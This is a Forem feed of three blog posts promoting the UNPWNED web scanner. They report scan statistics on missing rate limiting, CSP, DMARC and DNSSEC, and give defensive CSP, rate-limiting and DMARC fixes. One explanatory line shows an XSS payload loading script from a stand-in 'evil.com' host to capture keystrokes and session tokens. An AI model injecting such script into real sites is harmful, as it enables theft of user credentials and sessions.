Forem: Raz Azulay

I scanned 596 websites in 2 months. 81.6% had no rate limiting. Here is what else is broken in 2026.

Raz Azulay — Thu, 30 Apr 2026 12:16:42 +0000

Two months ago I shipped UNPWNED, a passive web security scanner aimed at indie hackers and developers shipping AI-generated code (Cursor, Lovable, Bolt, Replit, v0).

I had a hypothesis: small-team apps, especially anything coded with AI assistance, would have terrible security hygiene. Not because the developers are lazy, but because nobody is checking. There is no security review when you ship at 2am from your bedroom.

Two months in, 548 developers ran 1,317 scans through it across 596 distinct domains. The scanner logged 10,577 findings.

The data is worse than I expected.

This post is what I found. Not opinions. Not vibes. Real numbers from real production sites people own.

The headline numbers

Across every distinct domain scanned, deduplicated to the latest scan per site, here is what is exposed:

92.6% have no DNSSEC. Their entire domain can be DNS-spoofed at the resolver layer.
81.6% have no rate limiting anywhere. Anyone can run an unlimited brute-force against them right now.
78.5% have no DKIM. Email signing is missing, so domain spoofing is much easier.
69.6% have no discoverable privacy policy at standard paths. That alone is a GDPR violation in the EU.
66.9% are missing a Content-Security-Policy header. One stored XSS and the attacker has full control of the page.
52.7% have no DMARC policy. Their email domain can be impersonated for phishing at scale.
43.3% have no SPF record either, finishing the email-impersonation hat trick.
99.7% have no security.txt (RFC 9116). When a researcher finds a bug, there is nowhere to send it.

For comparison, here is what they actually got right:

100% of sites where SSL was measurable had valid SSL/TLS. Good. Let's Encrypt did its job.

The average security grade across all sites: 70.8 out of 100. A pass on a college midterm. A fail on a production checklist.

Why this is worse than it sounds

A "missing security header" sounds boring on paper. Here is what it actually means:

No rate limiting on /api/auth/login: an attacker takes a leaked credential dump from another breach and replays it against your site at 1,000 attempts per second. If even 0.1% of your users reuse passwords (the real number is closer to 60%), the attacker is now logged in as your users.

No CSP: your site has a single XSS bug somewhere, anywhere. A user comment, a markdown field, a profile bio. Without CSP, the attacker injects <script src="evil.com/x.js"> and now they read every keystroke, every session token, every form value. With CSP set correctly, the script never runs.

No DMARC: I send an email from support@yourcompany.com to all your users with a "verify your account" link that goes to my phishing page. Your mail server has no policy telling Gmail to reject it. Gmail delivers it.

No DNSSEC: your DNS resolver answers yourapp.com and points to 1.2.3.4. An attacker on a compromised network can poison that response and point to 6.6.6.6 instead. Without DNSSEC the resolver has no way to verify the answer is authentic.

These are not theoretical. These are the attacks that already happen every day to small SaaS, and the population running without protection is the majority.

The case I will not forget

Most of what UNPWNED finds is configuration drift. Boring. Fixable in 5 minutes once you know.

But one site stood out.

A user submitted a real production domain for a deep scan. The site looked completely normal in a browser. Generic landing page, a few links, nothing weird.

UNPWNED's cloaking detector compares what a real visitor sees against what Googlebot sees. The two should be identical. They were not even close.

To a human visitor: a normal page.
To Googlebot: roughly 64,000 spam pages selling counterfeit collectibles.

The site had been compromised in a Japanese SEO Hack pattern. The attacker had injected sub-sitemaps that were only served to crawlers, then mounted ghost URLs that returned 404 to people but 200 to Google with full spam content. The site owner had no idea. Their actual product was clean. The attacker was using their domain authority to rank spam, completely invisibly.

We caught it because the scanner samples ghost URLs from sub-sitemaps and compares User-Agent responses. 75 sub-sitemaps was a red flag (anything over 20 is suspicious). The spam keywords in the sub-sitemap titles were the smoking gun.

If you have ever wondered "why is my Google traffic dropping for no reason," this is one of the answers nobody mentions.

What is going wrong

Three patterns explain almost everything I see:

1. AI-generated code skips the boring parts.
When you ask Cursor or Claude to "build me a login form," it builds a working login form. It does not build rate limiting. It does not set up CSP. It does not configure DMARC. Those are runtime concerns, not code concerns, and the AI tools live in code.

2. The default of every framework is insecure.
Next.js, SvelteKit, Astro, Nuxt. None of them ship with a real CSP. None of them rate-limit by default. The defaults assume you will configure security yourself. Most developers do not.

3. Hosting platforms hide the gaps.
Vercel and Netlify give you free SSL, free deploys, free domains. Beautiful. They do not give you free rate limiting, free CSP, or free DMARC. The gap between "deployed" and "secure" is invisible until you scan for it.

How to fix the four most common ones in under 30 minutes

I am going to give you the actual code. Take it.

1. CSP header (Next.js example)

In your middleware.ts or proxy.ts:

const cspHeader = `
  default-src 'self';
  script-src 'self' 'nonce-${nonce}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;
`

Set it on every response. Test it does not break your app. Tighten further from there.

2. Rate limiting on auth routes

Use Upstash Redis (free tier is generous):

import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'

const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(5, '60 s'),
})

const { success } = await ratelimit.limit(ip)
if (!success) return new Response('Too Many Requests', { status: 429 })

5 attempts per minute per IP on /api/auth/login kills 99% of credential stuffing.

3. DMARC record

Add a DNS TXT record at _dmarc.yourdomain.com:

v=DMARC1; p=quarantine; rua=mailto:dmarc-reports@yourdomain.com; pct=100

Start with p=none if you are nervous, watch the reports for a week, then move to quarantine. This blocks email impersonation cold.

4. DNSSEC

This one depends on your registrar. Cloudflare and Namecheap both have a one-click toggle for it. Most developers do not know it exists. Turn it on.

What I learned building this

Three things, in case you are thinking about building something similar.

Indie devs do not buy "security tools." They buy "did I ship something stupid" anxiety relief. When I positioned UNPWNED as an enterprise-grade vulnerability scanner, conversion was 0.5%. When I positioned it as "scan your domain in 2 minutes before you launch," conversion went up 8x. The product did not change. The job-to-be-done framing changed.

AI fix prompts beat security reports for this audience. Every finding in UNPWNED ships with a copy-paste prompt that the user pastes into Cursor or Claude. The fix happens in their existing workflow. No context switching. The "you have a CSP problem" report is a chore. The "paste this into your AI editor and ship" prompt is a victory lap.

The data itself is the marketing. You are reading this post because the title had a number in it. I would not have hooked you with "I built a security scanner." I hooked you with "81.6% of websites have no rate limiting." Build the thing that gives you proprietary data, then publish the data.

Try it on your own site

If you read this far and you have a side project online, run a scan. It takes 2 minutes, no signup needed, no credit card.

unpwned.io/check takes a domain and gives you a security grade plus the actual list of what is broken.

Full live data on these statistics, including the methodology and a 30-day attack telemetry feed: unpwned.io/data.

If you find something on a real production site that scares you, post it in the comments. I will look at it.

Stay unpwned.

Methodology: figures are deduplicated by domain (latest scan per distinct domain). DNS-based percentages (DNSSEC, DMARC, SPF, DKIM) are based on full data coverage. HTTP-dependent percentages (rate limiting, SSL grading) exclude scans where the target was blocked by Cloudflare or WAF and the scanner could not measure conclusively. Sample: 596 distinct domains, 1,317 total scans, 10,577 findings logged between March 2 and April 30, 2026.

I Scanned 447 Websites. AI-Built Sites Have 3x More High-Severity Vulnerabilities.

Raz Azulay — Mon, 06 Apr 2026 13:02:17 +0000

I'm Raz. I've been building a security scanner called UNPWNED for the past few months. It runs thousands of checks across dozens of scanners on any website - headers, DNS, SSL, exposed files, secrets, you name it.

After 447 scans and 3,993 findings, I have enough data to share. Some of this stuff genuinely surprised me.

The big picture

447 sites scanned, 3,993 vulnerabilities found
Average site has 8.9 security issues
Average score: 73.1 out of 100
Only 16.3% scored A or A+
37% scored C (the most common grade)
53% scored C or worse

Most websites aren't terrible. They're just... mediocre. A bunch of missing headers and DNS records that nobody thought to configure.

AI-built vs human-built - this is the big one

I started tagging sites that showed signals of being AI-generated (Lovable, Bolt, Cursor, v0 patterns). The gap is real:

Metric	AI-Built	Human-Built
Avg Score	63.7	75.7
Avg Findings	12.2	9.7
HIGH Severity	2.1 per site	0.7 per site

AI-built sites have 3x more high-severity vulnerabilities.

Why? Because AI tools are really good at building features that work. They'll set up your auth, your API routes, your database queries. But they almost never add:

Security headers (CSP, HSTS)
DNS hardening (DMARC, DNSSEC)
Rate limiting
CORS restrictions

Nobody prompts "oh and add DMARC and CSP headers please." And the AI doesn't volunteer it.

The 5 things almost nobody has

This is across ALL 447 sites, not just AI-built:

Missing Defense	% Without It
Rate Limiting	74%
Content Security Policy	72%
DNSSEC	72%
DMARC	47%
Privacy Policy	68%

74% have no rate limiting. That means bots can brute-force your login endpoint all day and your server won't even notice.

72% have no CSP. One XSS vulnerability and any script runs freely on your pages.

47% have no DMARC. Anyone can send emails pretending to be you@yourdomain.com. Your users will get phishing emails that look like they came from you.

How different platforms score

Platform	Avg Score	Avg Findings
Vercel	75.9	7.0
WordPress	76.5	9.4
Next.js	75.1	7.1
Cloudflare	72.2	7.6
Netlify	64.2	13.4

Vercel and Next.js do better than average but still miss critical stuff. Netlify sites scored the lowest among modern platforms - not sure why, might be the default headers config.

Grade distribution

Grade	% of Sites
A+	8.9%
A	7.4%
B	30.6%
C	37.1%
D	13.6%
F	2.2%

The most common grade is C. Not failing, but not anywhere close to secure.

What you can fix in 30 minutes

The gap between a C and a B (or even an A) is usually not a rewrite. It's a few configs:

1. Add CSP headers
Even a basic Content Security Policy blocks most XSS vectors. If you're on Next.js, it's a few lines in your middleware.

2. Set up DMARC
Add a DNS TXT record for _dmarc.yourdomain.com. It tells email servers to reject spoofed emails from your domain. Takes 5 minutes.

3. Add rate limiting on auth routes
Even a simple IP-based limit (like 10 attempts per minute) stops brute force attacks. Most frameworks have middleware for this.

4. Enable DNSSEC
This is usually a one-click toggle at your DNS provider (Cloudflare, Namecheap, etc).

5. Check your CORS policy
If you're using Access-Control-Allow-Origin: * in production, you're letting any website make requests to your API.

Check your own site

I built UNPWNED because I was shipping fast with AI tools and had no idea what was exposed. The scanner checks thousands of things across dozens of scanners, only looks at publicly visible information (same stuff anyone visiting your site can see), and it's free to try.

unpwned.io

No account needed for a quick scan. Happy to answer questions about the methodology or findings in the comments.

We Scanned 400+ Websites. Here's What We Found.

Raz Azulay — Wed, 01 Apr 2026 10:56:56 +0000

We built UNPWNED, a security scanner for web apps. Over the past few weeks, we scanned 400+ websites across startups, SaaS products, and side projects.

Here's what the data told us.

The Numbers

412 scans across 167 unique domains
Average first-scan score: 65 out of 100
Only 2% scored an A on their first scan
58% scored a C, 23% scored D or F

The Most Common Issues

Issue	% of Sites Affected
DNSSEC not enabled	75%
No rate limiting on API endpoints	70%
Missing Content Security Policy	69%
Weak CSP configuration	57%
No cookie consent mechanism	48%
Missing DMARC record (email spoofing risk)	47%
No privacy policy page detected	40%
Missing DKIM record	37%
Missing HSTS header	34%
Permissive CORS policy	29%

What Surprised Us

Almost half of all sites can be email-spoofed. 47% were missing DMARC records, which means anyone can send emails pretending to be from their domain. Your users could get a phishing email "from" you today.

70% had no API rate limiting. That means a single script could hammer their endpoints with zero resistance. No throttling, no blocking, nothing.

69% had no Content Security Policy. CSP is one line of configuration that prevents XSS attacks. Most developers skip it because they don't know about it.

The Good News

Sites that used our fix suggestions and rescanned improved by an average of +8 points. Some jumped from D to A in a single afternoon.

The gap between "vulnerable" and "secure" is usually not a rewrite. It's a few headers, a DNS record, and some basic configuration.

What You Can Do Right Now

Add a CSP header - even a basic one blocks most XSS vectors
Set up DMARC, SPF, and DKIM - protect your users from email spoofing
Add rate limiting - even a simple middleware prevents abuse
Enable HSTS - one header that forces HTTPS everywhere
Check your CORS policy - don't use * in production

Try It Yourself

We built a free instant security checker - no signup required:

Check your website security score

It runs 30+ checks and gives you a score, grade, and list of findings. If you want detailed fix instructions, you can sign up for free (5 scans/month).

Built solo by an indie hacker. UNPWNED was featured by top dev communities and presented to engineering teams at leading tech companies. If you have questions about any of these findings, drop a comment - happy to help.